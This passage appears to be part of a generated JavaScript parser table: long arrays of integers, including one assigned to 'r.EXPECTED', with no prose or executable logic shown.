,67,67,67,67,67,67,67,67,67,67,67,67,806,67,67,67,0,0,0,1481,0,1094,0,0,97,1483,97,97,97,97,97,97,304,97,97,318,97,97,97,97,97,97,0,53264,0,18,18,24,24,0,28,28,97,97,97,1507,97,97,97,97,97,97,97,97,97,97,97,97,1332,97,97,97,1619,97,97,97,97,97,97,97,97,97,97,97,97,97,97,97,1631,97,1633,97,0,97,97,97,0,97,97,97,97,97,97,97,97,97,1381,0,0,45,45,45,45,97,97,1727,0,97,97,97,0,97,97,97,97,97,97,97,97,626,97,97,97,97,97,97,636,45,45,1760,67,67,67,67,67,67,67,1765,67,67,67,67,67,67,67,1299,67,67,67,0,0,0,0,0,0,97,97,97,97,1616,97,97,1803,45,45,45,45,1807,45,45,45,45,45,1813,45,45,45,67,67,1684,67,67,67,67,67,67,67,67,67,67,67,822,67,67,37689,544,67,67,1818,67,67,67,67,1822,67,67,67,67,67,1828,67,67,67,67,67,97,0,0,97,97,97,97,97,45,45,45,2012,2013,45,45,67,67,67,2018,2019,67,67,97,67,97,97,97,1833,97,97,0,0,97,97,1840,97,97,0,0,97,97,97,0,97,97,1733,97,1735,97,97,97,0,97,97,97,1849,97,97,97,45,45,45,45,45,1857,45,45,45,1910,45,1912,45,45,1914,45,67,67,67,67,67,67,67,67,67,67,1017,67,67,1020,67,45,1861,45,45,45,45,45,67,67,67,67,67,1872,67,67,67,67,67,67,752,67,67,67,67,67,67,67,67,67,67,1446,67,67,67,67,67,1876,67,67,67,67,67,97,97,97,97,97,0,0,0,1890,97,97,97,97,97,1134,97,97,97,97,97,97,97,97,97,97,570,97,97,97,97,580,1935,97,97,97,97,0,0,0,97,97,97,97,97,97,45,45,45,45,1906,45,67,67,67,67,2048,0,97,97,97,97,45,45,67,67,0,0,0,0,925,41606,0,0,0,931,45,45,45,45,45,45,1674,45,1676,45,45,45,45,45,45,45,446,45,45,45,45,45,45,45,67,67,67,67,1871,67,67,67,67,0,97,97,45,67,0,97,2060,2061,0,2063,45,67,0,97,45,45,156,45,45,45,45,45,45,45,45,45,192,45,45,45,45,1673,45,45,45,45,45,45,45,45,45,45,45,429,45,45,45,45,67,67,67,269,67,67,67,0,37139,24853,0,0,0,0,41098,65820,97,97,349,97,97,97,0,53264,0,18,18,24,24,0,28,28,139621,0,0,0,0,364,0,367,41098,369,140,45,45,374,45,45,67,67,213,217,67,67,67,67,67,242,67,247,67,253,45,45,698,45,45,45,45,45,45,45,45,45,45,45,45,45,399,45,45,0,0,0,0,925,41606,0,929,0,0,45,45,45,45,45,45,1391,45,45,1395,45,45,45,45,45,45,423,45,45,45,45,45,45,45,436,45,67,67,67,67,1041,67,1043,67,67,67,67,67,67,67,67,67,67,1776,67,67,97,97,97,1099,0,0,97,97,97,97,97,97,97,97,97,97,97,97,97,888,97,97,97,1131,97,97,97,97,1135,97,1137,97,97,97,97,97,97,97,1497,97,97,97,97,97,97,97,97,97,883,97,97,97,97,97,97,1310,0,0,0,1316,0,0,0,0,1100,0,0,0,97,97,97,97,97,1107,97,97,97,97,97,97,97,97,1343,97,97,97,97,97,97,1348,0,0,1317,0,0,0,0,0,97,97,97,97,97,97,97,97,97,97,97,1112,97,45,1804,45,45,45,45,45,45,45,45,45,45,45,45,45,67,1868,67,1870,67,67,67,67,67,1817,67,67,1819,67,67,67,67,67,67,67,67,67,67,67,67,823,67,37689,544,67,97,1832,97,97,1834,97,0,0,97,97,97,97,97,0,0,97,97,97,0,1732,97,97,97,97,97,97,97,850,97,97,97,97,97,97,97,97,97,1177,0,0,925,0,0,0,0,97,97,97,97,0,0,1941,97,97,97,97,97,97,45,45,45,1991,1992,45,67,67,67,67,67,67,67,67,67,1998,134,0,0,0,37,110630,0,0,0,114730,106539,41098,45,45,45,45,941,45,45,944,45,45,45,45,45,45,952,45,45,207,67,67,67,67,67,226,67,67,67,67,67,67,67,67,67,820,67,67,67,67,37689,544,369,650,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,1682,25403,546,70179,0,0,66365,66365,552,835,97,97,97,97,97,97,97,1522,97,97,97,97,97,97,97,97,0,97,97,97,97,97,97,1725,67,67,67,1695,67,67,67,67,67,67,67,67,67,67,67,67,1034,67,1036,67,67,67,265,67,67,67,67,0,37139,24853,0,0,0,0,41098,65820,97,97,97,296,97,97,97,97,314,97,97,97,97,332,334,97,97,97,97,97,1146,1147,97,97,97,97,97,97,97,97,97,97,1626,97,97,97,97,97,97,345,97,97,97,97,0,53264,0,18,18,24,24,0,28,28,139621,0,0,0,0,364,0,367,41098,369,140,45,372,45,45,45,1220,45,45,45,45,45,45,45,45,45,45,45,45,1213,45,45,45,45,404,406,45,45,45,45,45,45,45,45,45,45,45,45,45,434,45,45,45,440,45,45,45,45,45,45,45,45,451,452,45,45,45,67,1683,67,67,67,1686,67,67,67,67,67,67,67,0,37139,24853,0,0,0,0,41098,65820,67,67,67,67,490,492,67,67,67,67,67,67,67,67,67,67,67,1447,67,67,1450,67,67,67,67,67,526,67,67,67,67,67,67,67,67,537,538,67,67,67,67,67,506,67,67,508,67,67,511,67,67,67,67,0,1476,0,0,0,0,0,1478,0,0,0,0,0,0,0,0,97,97,1484,97,97,97,97,97,97,865,97,97,97,97,97,97,97,97,97,97,1499,97,97,97,97,97,97,97,97,97,587,589,97,97,97,97,97,97,97,97,97,97,629,97,97,97,97,97,97,97,97,97,623,97,97,97,97,97,97,97,97,634,635,97,97,97,97,97,1160,97,97,97,97,97,97,97,97,97,97,97,1628,97,97,97,97,369,0,45,45,45,45,45,655,45,45,45,45,45,45,45,45,999,45,1001,45,45,45,45,45,45,45,45,715,45,45,45,720,45,45,45,45,45,45,45,45,728,25403,546,70179,0,0,66365,66365,552,0,97,97,97,97,97,840,97,97,97,97,97,1174,97,97,97,97,0,0,925,0,0,0,0,0,0,0,1100,97,97,97,97,97,97,97,97,627,97,97,97,97,97,97,97,938,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,680,45,968,45,970,45,973,45,45,45,45,45,45,45,45,45,45,962,45,45,45,45,45,979,45,45,45,45,45,985,45,45,45,45,45,45,45,45,45,1224,45,45,45,45,45,45,45,45,688,45,45,45,45,45,45,45,1007,1008,67,67,67,67,67,1014,67,67,67,67,67,67,67,67,67,1045,67,67,67,67,67,67,67,1038,67,67,67,67,67,67,1044,67,1046,67,1049,67,67,67,67,67,67,800,67,67,67,67,67,67,808,67,67,0,0,0,1102,97,97,97,97,97,1108,97,97,97,97,97,97,306,97,97,97,97,97,97,97,97,97,97,1371,97,97,97,97,97,97,97,97,1132,97,97,97,97,97,97,1138,97,1140,97,1143,97,97,97,97,97,1352,97,97,97,97,97,97,97,97,97,97,869,97,97,97,97,97,45,1191,45,45,45,45,45,1196,45,45,45,45,45,45,45,45,1407,45,45,45,45,45,45,45,45,986,45,45,45,45,45,45,991,45,67,67,67,1256,67,67,67,67,67,67,67,67,67,67,67,67,1048,67,67,67,97,1336,97,97,97,97,97,97,97,97,97,97,97,97,97,97,615,97,1386,45,1387,45,45,45,45,45,45,45,45,45,45,45,45,45,455,45,457,45,45,1424,45,45,45,45,45,67,67,67,67,1433,67,1434,67,67,67,67,67,767,67,67,67,67,67,67,67,67,67,67,67,1591,67,1593,67,67,45,45,1805,45,45,45,45,45,45,45,45,45,1814,45,45,1816,67,67,67,67,1820,67,67,67,67,67,67,67,67,67,1829,67,67,67,67,67,815,67,67,67,67,821,67,67,67,37689,544,67,1831,97,97,97,97,1835,0,0,97,97,97,97,97,0,0,97,97,97,1731,97,97,97,97,97,97,97,97,97,853,97,97,97,97,97,97,0,97,97,97,97,1850,97,97,45,45,45,45,45,45,45,45,1547,45,45,45,45,45,45,45,45,1664,45,45,45,45,45,45,45,45,961,45,45,45,45,965,45,967,1907,45,45,45,45,45,45,45,45,45,67,67,67,67,67,1920,0,1936,97,97,97,0,0,0,97,97,97,97,97,97,45,45,67,67,67,67,67,67,1763,67,67,67,67,67,67,67,67,1056,67,67,67,67,67,67,67,67,1273,67,67,67,67,67,67,67,67,1457,67,67,67,67,67,67,67,67,97,97,97,97,0,0,28672,97,45,67,67,67,67,0,0,97,97,97,97,45,45,67,67,2054,97,97,291,97,97,97,97,97,97,320,97,97,97,97,97,97,307,97,97,97,97,97,97,97,97,97,97,12288,0,925,926,1179,0,45,377,45,45,45,381,45,45,392,45,45,396,45,45,45,45,971,45,45,45,45,45,45,45,45,45,45,45,45,1756,45,45,45,67,67,67,67,463,67,67,67,467,67,67,478,67,67,482,67,67,67,67,67,1028,67,67,67,67,67,67,67,67,67,67,67,67,1469,67,67,1472,67,502,67,67,67,67,67,67,67,67,67,67,67,67,67,67,1460,67,97,97,97,97,560,97,97,97,564,97,97,575,97,97,579,97,97,97,97,97,1368,97,97,97,97,97,97,97,97,97,97,0,0,925,0,0,930,97,599,97,97,97,97,97,97,97,97,97,97,97,97,97,97,872,97,45,666,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,1758,0,362,0,0,925,41606,0,0,0,0,45,45,934,45,45,45,164,168,174,178,45,45,45,45,45,194,45,45,45,165,45,45,45,45,45,45,45,45,45,199,45,45,45,67,67,1010,67,67,67,67,67,67,67,67,67,67,67,67,1060,67,67,67,67,67,67,1052,1053,67,67,67,67,67,67,67,67,67,67,1063,97,1157,97,97,97,97,97,97,97,97,97,97,97,97,1167,97,97,97,97,97,1379,97,97,97,0,0,0,45,1383,45,45,45,1806,45,45,45,45,45,45,1812,45,45,45,45,67,67,67,67,67,1577,67,67,67,67,67,67,67,753,67,67,67,67,67,67,67,67,67,1262,67,67,67,67,67,67,67,1282,67,67,67,67,67,67,67,67,67,67,67,67,67,67,1471,67,45,1402,45,45,45,45,45,45,45,45,45,45,45,45,45,45,417,45,67,1462,67,67,67,67,67,67,67,67,67,67,67,67,67,67,37689,544,97,1517,97,97,97,97,97,97,97,97,97,97,97,97,97,97,1128,97,97,97,97,1636,97,97,97,0,97,97,97,97,97,97,97,97,851,97,97,97,97,97,97,97,67,67,1705,67,67,67,67,67,67,67,67,97,97,97,97,97,97,0,0,97,97,97,97,1842,0,0,1779,97,97,97,1782,97,0,0,97,97,97,97,97,97,0,0,97,97,97,1789,97,97,0,0,0,97,1847,97,97,97,97,97,45,45,45,45,45,45,45,45,1675,45,45,45,45,45,45,45,45,737,738,67,740,67,741,67,743,67,67,67,67,67,67,1968,67,67,97,97,97,97,0,0,0,97,97,45,67,0,97,45,67,2062,97,45,67,0,97,45,67,67,97,97,2001,97,0,0,2004,97,97,0,97,97,97,97,1797,97,97,97,97,97,45,45,45,67,261,67,67,67,67,67,0,37139,24853,0,0,0,0,41098,65820,97,97,292,97,97,97,97,311,315,321,325,97,97,97,97,97,97,1623,97,97,97,97,97,97,97,97,97,97,1330,97,97,1333,1334,97,341,97,97,97,97,97,0,53264,0,18,18,24,24,0,28,28,139621,0,0,0,363,364,0,367,41098,369,140,45,45,45,45,1221,45,45,45,45,45,45,45,45,45,45,45,413,45,45,416,45,376,45,45,45,45,382,45,45,45,45,45,45,45,45,45,45,1408,45,45,45,45,45,403,45,45,45,45,45,45,45,45,45,45,414,45,45,45,418,67,67,67,462,67,67,67,67,468,67,67,67,67,67,67,67,67,1602,67,1604,67,67,67,67,67,67,67,67,489,67,67,67,67,67,67,67,67,67,67,500,67,67,67,67,67,1067,67,67,67,67,67,1072,67,67,67,67,67,67,274,0,37139,24853,0,0,0,0,41098,65820,67,67,504,67,67,67,67,67,67,67,510,67,67,67,517,519,541,67,37139,37139,24853,24853,0,70179,0,0,0,65820,65820,369,287,554,97,97,97,559,97,97,97,97,565,97,97,97,97,97,97,97,1718,0,97,97,97,97,97,97,97,898,97,97,97,97,97,97,906,97,97,97,97,586,97,97,97,97,97,97,97,97,97,97,597,97,97,97,97,97,1520,97,97,97,97,97,97,97,97,97,97,0,45,1656,45,45,45,97,97,601,97,97,97,97,97,97,97,607,97,97,97,614,616,638,97,18,0,139621,0,0,0,0,0,0,364,0,0,367,41606,369,0,45,45,45,45,45,45,45,45,45,45,661,45,45,45,407,45,45,45,45,45,45,45,45,45,45,45,45,45,1815,45,67,45,667,45,45,45,45,45,45,45,45,45,45,678,45,45,45,421,45,45,45,45,45,45,45,45,45,45,45,45,976,977,45,45,45,682,45,45,45,45,45,45,45,45,45,45,693,45,45,697,67,67,748,67,67,67,67,754,67,67,67,67,67,67,67,67,67,1274,67,67,67,67,67,67,67,67,765,67,67,67,67,769,67,67,67,67,67,67,67,67,67,1589,67,67,67,67,67,67,67,67,780,67,67,784,67,67,67,67,67,67,67,67,67,67,67,1777,67,97,97,97,97,97,97,846,97,97,97,97,852,97,97,97,97,97,97,97,1742,45,45,45,45,45,45,45,1747,97,97,97,863,97,97,97,97,867,97,97,97,97,97,97,97,308,97,97,97,97,97,97,97,97,97,97,12288,1178,925,0,1179,0,97,97,97,878,97,97,882,97,97,97,97,97,97,97,97,97,97,12288,0,925,0,1179,0,908,97,97,97,97,97,97,97,97,97,97,97,97,97,97,0,0,925,0,0,0,954,45,45,45,45,45,45,45,45,45,45,963,45,45,966,45,45,157,45,45,171,45,45,45,45,45,45,45,45,45,45,948,45,45,45,45,45,1022,67,67,1026,67,67,67,1030,67,67,67,67,67,67,67,67,67,1603,1605,67,67,67,1608,67,67,67,1039,67,67,1042,67,67,67,67,67,67,67,67,67,67,471,67,67,67,67,67,0,1100,0,97,97,97,97,97,97,97,97,97,97,97,97,97,904,97,97,97,97,1116,97,97,1120,97,97,97,1124,97,97,97,97,97,97,562,97,97,97,571,97,97,97,97,97,97,97,97,97,1133,97,97,1136,97,97,97,97,97,97,97,97,915,917,97,97,97,97,97,0,97,1170,97,97,97,97,97,97,97,97,0,0,925,0,0,0,0,0,41606,0,0,0,0,45,45,45,45,45,45,1993,67,67,67,67,67,67,67,67,67,67,1275,67,67,67,1278,67,0,0,0,45,45,1182,45,45,45,45,45,45,45,45,45,1189,1204,45,45,45,1207,45,45,1209,45,1210,45,45,45,45,45,45,1546,45,45,45,45,45,45,45,45,45,689,45,45,45,45,45,45,1231,45,45,45,45,45,45,45,45,45,45,45,45,45,45,67,67,67,67,67,67,67,67,236,67,67,67,67,67,67,67,801,67,67,67,805,67,67,67,67,67,1242,67,67,67,67,67,67,67,67,67,1249,67,67,67,67,67,67,507,67,67,67,67,67,67,67,67,67,67,1300,0,0,0,0,0,1267,67,67,1269,67,1270,67,67,67,67,67,67,67,67,67,1280,97,1349,97,1350,97,97,97,97,97,97,97,97,97,1360,97,97,97,0,1980,97,97,97,97,97,45,45,45,45,45,45,673,45,45,45,45,677,45,45,45,45,1401,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,953,67,1437,67,1440,67,67,67,67,1445,67,67,67,1448,67,67,67,67,67,67,1029,67,67,67,67,67,67,67,67,67,67,1825,67,67,67,67,67,1473,67,67,67,0,0,0,0,0,0,0,0,0,0,0,0,1320,0,834,97,97,97,97,1490,97,1493,97,97,97,97,1498,97,97,97,1501,97,97,97,0,97,1638,97,0,97,97,97,97,97,97,97,97,916,97,97,97,97,97,97,0,1528,97,97,97,0,45,45,45,1535,45,45,45,45,45,45,45,1867,67,67,67,67,67,67,67,67,67,97,97,97,97,1932,0,0,1555,45,45,45,45,45,45,45,45,45,45,45,45,45,1567,45,45,158,45,45,172,45,45,45,183,45,45,45,45,201,45,45,67,212,67,67,67,67,231,235,241,245,67,67,67,67,67,67,493,67,67,67,67,67,67,67,67,67,67,472,67,67,67,67,67,97,97,97,97,1651,97,97,97,97,97,0,45,45,45,45,45,45,45,1539,45,45,45,67,1704,67,1706,67,67,67,67,67,67,67,97,97,97,97,97,97,0,0,97,97,97,1841,97,0,1844,97,97,97,97,1716,97,97,97,0,97,97,97,97,97,97,97,590,97,97,97,97,97,97,97,97,97,0,0,0,45,45,45,1385,1748,45,45,45,45,45,45,45,45,45,45,45,45,45,1757,45,45,159,45,45,45,45,45,45,45,45,45,45,45,45,45,415,45,45,97,97,1780,97,97,97,0,0,1786,97,97,97,97,97,0,0,97,97,1730,0,97,97,97,97,97,1736,97,1738,67,97,97,97,97,97,97,0,1838,97,97,97,97,97,0,0,97,1729,97,0,97,97,97,97,97,97,97,97,1162,97,97,97,1165,97,97,97,45,1950,45,45,45,45,45,45,45,45,1958,67,67,67,1962,67,67,67,67,67,1246,67,67,67,67,67,67,67,67,67,67,67,97,1710,97,97,97,1999,67,97,97,97,97,0,2003,97,97,97,0,97,97,2008,2009,45,67,67,67,67,0,0,97,97,97,97,45,2052,67,2053,0,0,0,0,925,41606,0,0,930,0,45,45,45,45,45,45,1392,45,1394,45,45,45,45,45,45,45,1545,45,45,45,45,45,45,45,45,45,45,1563,1565,45,45,45,1568,0,97,2055,45,67,0,97,45,67,0,97,45,67,28672,97,45,45,160,45,45,45,45,45,45,45,45,45,45,45,45,45,679,45,45,67,67,266,67,67,67,67,0,37139,24853,0,0,0,0,41098,65820,97,346,97,97,97,97,0,53264,0,18,18,24,24,0,28,28,139621,0,0,362,0,364,0,367,41098,369,140,371,45,45,45,379,45,45,45,388,45,45,45,45,45,45,45,45,1663,45,45,45,45,45,45,45,45,45,449,45,45,45,45,45,67,67,542,37139,37139,24853,24853,0,70179,0,0,0,65820,65820,369,287,97,97,97,97,97,1622,97,97,97,97,97,97,97,1629,97,97,0,1794,1795,97,97,97,97,97,97,97,97,45,45,45,45,45,45,1745,45,45,97,639,18,0,139621,0,0,0,0,0,0,364,0,0,367,41606,45,731,45,45,45,45,45,45,67,67,67,67,67,67,67,67,67,67,67,67,251,67,67,67,67,67,798,67,67,67,67,67,67,67,67,67,67,67,67,1073,67,67,67,860,97,97,97,97,97,97,97,97,97,97,97,97,97,97,873,0,0,1101,97,97,97,97,97,97,97,97,97,97,97,97,97,921,97,0,67,67,67,67,1245,67,67,67,67,67,67,67,67,67,67,67,67,1250,67,67,1253,0,0,1312,0,0,0,1318,0,0,0,0,0,0,97,97,97,97,1106,97,97,97,97,97,97,97,97,97,1149,97,97,97,97,97,1155,97,97,1325,97,97,97,97,97,97,97,97,97,97,97,97,97,1141,97,97,67,67,1439,67,1441,67,67,67,67,67,67,67,67,67,67,67,67,1264,67,67,67,97,97,1492,97,1494,97,97,97,97,97,97,97,97,97,97,97,1331,97,97,97,97,67,67,67,2037,67,97,0,0,97,97,97,2043,97,45,45,45,442,45,45,45,45,45,45,45,45,45,45,45,67,67,67,67,67,67,232,67,67,67,67,67,67,67,67,1823,67,67,67,67,67,67,67,67,97,97,97,97,1975,0,0,97,874,97,97,97,97,97,97,97,97,97,97,97,97,97,97,97,1142,97,53264,18,49172,57366,24,8192,28,102432,37,110630,114730,106539,65,86,117,53264,18,49172,57366,24,8192,28,102432,37,110630,114730,106539,63,84,115,53264,18,49172,57366,24,8192,28,102432,37,110630,114730,106539,61,82,113,53264,18,49172,57366,24,8192,28,102432,37,110630,114730,106539,59,80,111,53264,18,49172,57366,24,8192,28,102432,37,110630,114730,106539,57,78,109,53264,18,49172,57366,24,8192,28,102432,37,110630,114730,106539,55,76,107,53264,18,49172,57366,24,8192,28,102432,37,110630,114730,106539,53,74,105,53264,18,49172,57366,24,8192,28,102432,37,110630,114730,106539,51,72,103,53264,18,49172,57366,24,8192,28,102432,37,110630,114730,106539,49,70,101,53264,18,49172,57366,24,8192,28,102432,37,110630,114730,106539,47,68,99,53264,18,49172,57366,24,8192,28,102432,37,110630,114730,106539,45,67,97,53264,18,49172,57366,24,8192,28,102432,0,110630,114730,106539,0,0,213085,53264,18,49172,57366,24,8192,28,102432,0,0,0,44,0,0,32863,53264,18,49172,57366,24,8192,28,102432,0,41,41,41,0,0,1138688,53264,18,49172,57366,24,8192,28,102432,0,110630,114730,106539,0,0,0,53264,18,49172,57366,24,8192,28,102432,0,110630,114730,106539,0,0,89,53264,18,18,49172,0,57366,0,24,24,24,0,127,127,127,127,102432,67,262,67,67,67,67,67,0,37139,24853,0,0,0,0,41098,65820,342,97,97,97,97,97,0,53264,0,18,18,24,24,0,28,28,139621,0,360,0,0,364,0,367,41098,369,140,45,45,45,45,717,45,45,45,45,45,45,45,45,45,45,45,412,45,45,45,45,45,67,1009,67,67,67,67,67,67,67,67,67,67,67,67,67,1292,67,67,1294,67,67,67,67,67,67,67,67,67,67,0,0,0,0,0,0,97,97,97,1615,97,97,97,53264,18,49172,57366,24,8192,28,102432,37,110630,114730,106539,66,87,118,53264,18,49172,57366,24,8192,28,102432,37,110630,114730,106539,64,85,116,53264,18,49172,57366,24,8192,28,102432,37,110630,114730,106539,62,83,114,53264,18,49172,57366,24,8192,28,102432,37,110630,114730,106539,60,81,112,53264,18,49172,57366,24,8192,28,102432,37,110630,114730,106539,58,79,110,53264,18,49172,57366,24,8192,28,102432,37,110630,114730,106539,56,77,108,53264,18,49172,57366,24,8192,28,102432,37,110630,114730,106539,54,75,106,53264,18,49172,57366,24,8192,28,102432,37,110630,114730,106539,52,73,104,53264,18,49172,57366,24,8192,28,102432,37,110630,114730,106539,50,71,102,53264,18,49172,57366,24,8192,28,102432,37,110630,114730,106539,48,69,100,53264,18,49172,57366,24,8192,28,102432,37,110630,114730,106539,46,67,98,53264,18,49172,57366,24,8192,28,102432,0,110630,114730,106539,0,0,233472,53264,18,49172,57366,24,8192,28,102432,0,110630,114730,106539,0,0,69724,53264,18,18,49172,0,57366,262144,24,24,24,0,28,28,28,28,102432,45,45,161,45,45,45,45,45,45,45,45,45,45,45,45,45,710,45,45,28,139621,359,0,0,0,364,0,367,41098,369,140,45,45,45,45,1389,45,45,45,45,45,45,45,45,45,45,45,949,45,45,45,45,67,503,67,67,67,67,67,67,67,67,67,67,67,67,67,67,1449,67,67,97,600,97,97,97,97,97,97,97,97,97,97,97,97,97,97,1154,97,0,0,0,0,925,41606,927,0,0,0,45,45,45,45,45,45,1866,67,67,67,67,67,67,67,67,67,67,772,67,67,67,67,67,45,45,969,45,45,45,45,45,45,45,45,45,45,45,45,45,951,45,45,45,45,1192,45,45,45,45,45,45,45,45,45,45,45,45,45,1202,45,45,0,0,0,1314,0,0,0,0,0,0,0,0,0,97,97,97,97,97,97,97,1488,67,67,267,67,67,67,67,0,37139,24853,0,0,0,0,41098,65820,97,347,97,97,97,97,0,53264,0,18,18,24,24,0,28,28,139621,0,361,0,0,364,0,367,41098,369,140,45,45,45,45,734,45,45,45,67,67,67,67,67,742,67,67,45,45,668,45,45,45,45,45,45,45,45,45,45,45,45,45,1214,45,45,1130,97,97,97,97,97,97,97,97,97,97,97,97,97,97,97,1361,97,45,45,1671,45,45,45,45,45,45,45,45,45,45,45,45,45,1552,45,45,0,0,0,0,2220032,0,0,1130496,0,0,0,0,2170880,2171020,2170880,2170880,18,0,0,131072,0,0,0,90112,0,2220032,0,0,0,0,0,0,0,0,97,97,97,1485,97,97,97,97,0,45,45,45,45,45,1537,45,45,45,45,45,1390,45,1393,45,45,45,45,1398,45,45,45,2170880,2171167,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2576384,2215936,3117056,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,0,0,0,0,0,0,2174976,0,0,0,0,0,0,2183168,0,0,0,0,2170880,2170880,2170880,2400256,2170880,2170880,2170880,2170880,2721252,2744320,2170880,2170880,2170880,2834432,2840040,2170880,2908160,2170880,2170880,2936832,2170880,2170880,2985984,2170880,2994176,2170880,2170880,3014656,2170880,3059712,3076096,3088384,2170880,2170880,2170880,2170880,0,0,0,0,2220032,0,0,0,1142784,0,0,0,2170880,2170880,2170880,2170880,2170880,2170880,2170880,3215360,2215936,2215936,2215936,2215936,2215936,2437120,2215936,2215936,2215936,3117056,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,0,543,0,545,0,0,2183168,0,0,831,0,2170880,2170880,2170880,2400256,2170880,2170880,2170880,2170880,3031040,2170880,3055616,2170880,2170880,2170880,2170880,3092480,2170880,2170880,3125248,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,3198976,2170880,0,0,0,0,0,0,67,67,37139,37139,24853,24853,0,0,0,0,0,65820,65820,0,287,97,97,97,97,97,1783,0,0,97,97,97,97,97,97,0,0,97,97,97,97,97,97,1791,0,0,546,70179,0,0,0,0,552,0,97,97,97,97,97,97,97,604,97,97,97,97,97,97,97,97,97,97,1150,97,97,97,97,97,147456,147456,147456,147456,147456,147456,147456,147456,147456,147456,147456,147456,0,0,147456,0,0,0,0,925,41606,0,928,0,0,45,45,45,45,45,45,998,45,45,45,45,45,45,45,45,45,1562,45,1564,45,45,45,45,0,2158592,2158592,0,0,0,0,2232320,2232320,2232320,0,2240512,2240512,2240512,2240512,0,0,0,0,0,0,0,0,0,0,0,2170880,2170880,2170880,2416640],r.EXPECTED=[291,300,304,341,315,309,305,295,319,323,327,329,296,333,337,339,342,346,350,294,356,360,312,367,352,371,363,375,379,383,387,391,395,726,399,405,518,684,405,405,405,405,808,405,405,405,512,405,405,405,431,405,405,406,405,405,404,405,405,405,405,405,405,405,908,631,410,415,405,414,419,608,405,429,602,405,435,443,405,441,641,478,405,447,451,450,456,643,461,460,762,679,465,469,741,473,477,482,486,492,932,931,523,498,504,720,405,510,596,405,516,941,580,522,929,527,590,589,897,939,534,538,547,551,555,559,563,567,571,969,575,708,690,689,579,584,634,405,594,731,405,600,882,405,606,895,786,452,612,405,615,620,876,624,628,638,647,651,655,659,663,667,676,683,688,695,694,791,405,699,437,405,706,714,405,712,825,870,405,718,724,769,768,823,730,735,745,751,422,755,759,425,766,902,810,587,775,888,887,405,773,992,405,779,962,405,785,781,986,790,795,797,506,500,499,801,805,814,820,829,833,837,841,845,849,853,857,861,616,865,869,868,488,405,874,816,405,880,738,405,886,892,543,405,901,906,913,912,918,494,541,922,926,936,945,949,953,957,530,966,973,960,702,701,405,979,981,405,985,747,405,990,998,914,405,996,1004,672,975,974,1014,1002,1008,670,1012,405,405,405,405,405,401,1018,1022,1026,1106,1071,1111,1111,1111,1082,1145,1030,1101,1034,1038,1106,1106,1106,1106,1046,1206,1052,1106,1072,1111,1111,1042,1134,1065,1111,1112,1056,1160,1207,1062,1204,1208,1069,1106,1106,1106,1076,1111,1207,1161,1122,1205,1064,1094,1106,1106,1107,1111,1111,1111,1078,1086,1207,1092,1098,1046,1058,1106,1106,1110,1111,1111,1116,1120,1161,1126,1202,1104,1106,1145,1146,1129,1138,1088,1151,1048,1157,1153,1132,1141,1165,1107,1111,1172,1179,1109,1183,1175,1143,1147,1187,1108,1191,1195,1144,1199,1168,1212,1216,1220,1224,1228,1232,1236,1557,1247,1241,1241,1038,1434,1241,1241,1241,1241,1254,1275,1617,1241,1280,1287,1241,1241,1241,1287,1241,2114,1291,1241,1243,1241,2049,1824,2094,2095,1520,1309,1241,1241,1302,1241,1321,1311,1241,1241,1313,1778,1325,1336,1241,1241,1325,1330,1353,1241,1241,1695,1354,1241,1241,1241,1294,1686,1331,1241,1696,1368,1241,1338,1370,1241,1392,1399,1364,2017,1406,2016,1405,1716,1406,1407,1422,1417,1421,1241,1241,1241,1349,1426,1241,1774,1756,1241,1773,1241,1241,1345,1964,1812,1432,1241,1241,1345,1993,1459,1241,1241,1241,1395,1848,1767,1465,1241,1241,1394,1847,1242,1477,1241,1241,1428,1241,1445,1492,1241,1241,1438,1241,1499,1241,1241,1241,1455,1241,1818,1448,1241,1250,1241,2026,1623,1449,1241,1612,1616,1241,1614,1241,1257,1241,1241,1985,1292,1586,1512,1241,1517,2050,1526,1674,1519,1524,1647,2051,1532,1537,1551,1544,1550,1555,1561,1571,1578,1584,1590,1591,1653,1595,1602,1606,1610,1634,1628,1640,1633,1645,1241,1241,1241,1469,1241,1970,1651,1241,1270,1241,1241,1819,1449,1241,1293,1664,1241,1241,1481,1485,1574,1672,1241,1241,1513,1317,1487,1684,1241,1241,1533,1299,1694,1241,1241,1295,1241,1241,1241,1546,1700,1241,1241,1707,1241,1713,1241,1849,1715,1241,1720,1241,1276,1267,1241,1241,2107,1657,1864,1241,1881,1241,1326,1292,1241,1685,1358,1724,1338,1241,1363,1362,1342,1340,1361,1339,1833,1372,1360,1833,1833,1342,1343,1835,1341,1731,1738,1344,1241,1745,1241,1379,1241,1241,2092,1241,1388,1761,1754,1241,1386,1241,1400,1760,1241,1241,1241,1598,1734,1241,1241,1241,1635,1645,1241,1780,1766,1241,1241,1332,1771,1241,1241,1629,2079,1241,1242,1784,1241,1241,1680,1639,2063,1790,1241,1241,1741,1241,1241,1800,1241,1241,1762,1473,1241,1806,1241,1241,1786,1240,1709,1241,1241,1241,1668,1811,1241,1940,1241,1401,1974,1241,1408,1413,1382,1241,1816,1241,1241,1802,2086,1811,1241,1817,1945,1823,2095,2095,2047,2094,2046,2080,1241,1409,1312,1376,2096,2048,1241,1241,1807,1241,1241,1241,2035,1241,1241,1828,1241,2057,2061,1241,1241,1843,1241,2059,1241,1241,1241,1690,1847,1241,1241,1241,1703,2102,1848,1241,1241,1853,1292,1848,1241,2016,1857,1241,2002,1868,1241,1436,1241,1241,1271,1305,1241,1874,1241,1241,1884,2037,1892,1241,1890,1241,1461,1241,1241,1795,1241,1241,1891,1241,1878,1241,1888,1241,1888,1905,1896,2087,1912,1903,1241,1911,1906,1916,1905,2027,1863,1925,2088,1859,1861,1922,1927,1931,1935,1494,1241,1241,1918,1907,1939,1917,1944,1949,1241,1241,1451,1955,1241,1241,1241,1796,1727,2061,1241,1241,1899,1241,1660,1968,1241,1241,1951,1678,1978,1241,1241,1241,1839,1241,1241,1984,1982,1241,1488,1241,1241,1624,1450,1989,1241,1241,1241,1870,1995,1292,1241,1241,1958,1261,1241,1996,1241,1241,1241,2039,2008,1241,1241,1750,2e3,1241,1256,2001,1960,1241,1564,1241,1504,1241,12